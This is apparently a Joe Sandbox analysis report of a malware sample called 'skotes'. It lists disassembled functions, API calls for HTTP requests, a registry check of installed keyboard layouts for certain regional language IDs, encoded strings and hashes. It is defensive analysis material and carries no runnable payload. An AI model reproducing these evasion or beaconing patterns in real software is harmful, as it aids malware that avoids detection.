Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 0a8c306083ec9063dd54c57b96fa8a32e0e1737bfe2e9b331f300194dea57333
Instruction ID: 690d138f1f1a11fb59a8501fcd37770323552352178721db9094336f4882fbfb
Opcode Fuzzy Hash: 0a8c306083ec9063dd54c57b96fa8a32e0e1737bfe2e9b331f300194dea57333
Instruction Fuzzy Hash: 70B1E4B1A002189BDF28CF28CC85BAEBB79EF45304F5081A9F549972D1DB719AC4CF95

Function 00196020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0019617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00196271

Strings

00000422, xrefs: 001960C9
Keyboard Layout\Preload, xrefs: 00196054
00000423, xrefs: 001960FA
0000043f, xrefs: 0019612B
00000419, xrefs: 00196098

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 32aa70e7f62a4973222ae3a5c55e5a67c2876a9a7ff14a1ae07ff02e2dba9528
Instruction ID: 9d6395f1b9c6b2c125ce4a60b3e8934800feccca8cae6dfacf902f6c09e65057
Opcode Fuzzy Hash: 32aa70e7f62a4973222ae3a5c55e5a67c2876a9a7ff14a1ae07ff02e2dba9528
Instruction Fuzzy Hash: 70B1C1719002689BEF24DB64CC94BEEB779AF15340F5402D8F508E7291DB74AFA48FA4

Function 00197D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00197ED3

Strings

JjsrPl==, xrefs: 0019828A
JjsrQV==, xrefs: 00198092
JjssOl==, xrefs: 0019813A
JjssPV==, xrefs: 001981E2

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: a2a02fe2ad77e7a59a910fe16500d0f976218d26b8a4fd1172d394896081ef3f
Instruction ID: a94fbffa114655a90dccb66519c6f6c715c08a7e8fb88d167b44effdd53fcd02
Opcode Fuzzy Hash: a2a02fe2ad77e7a59a910fe16500d0f976218d26b8a4fd1172d394896081ef3f
Instruction Fuzzy Hash: A5E1F570F04654ABDF15BB68CC4B7AD7A62BB52724F94028CE4166B3C2DB758F8187C2

Function 001D1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001D1775: CreateFileW.KERNEL32(00000000,00000000,?,001D1B65,?,?,00000000,?,001D1B65,00000000,0000000C), ref: 001D1792

__dosmaperr.LIBCMT ref: 001D1BD7
GetFileType.KERNEL32(00000000), ref: 001D1BE3
__dosmaperr.LIBCMT ref: 001D1BF6
__dosmaperr.LIBCMT ref: 001D1D9C

Strings

H, xrefs: 001D1D21

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: dda2c2ce4a03c9cf8abc63dd346a69634b758eca980b0d49ddb1bd204835fe46
Instruction ID: 17f81261eb9c628a6c285a68e3b448a294acf701863a2f5fca5e7a8876dbad96
Opcode Fuzzy Hash: dda2c2ce4a03c9cf8abc63dd346a69634b758eca980b0d49ddb1bd204835fe46
Instruction Fuzzy Hash: C8A12532A14148AFCF19DF68CC91BAE3BB1AB16324F25019EF801AB3D1DB359D52CB51

Function 001D26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,001E6758), ref: 001D275C

Strings

Eastern Summer Time, xrefs: 001D27FA
Eastern Standard Time, xrefs: 001D27CB

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
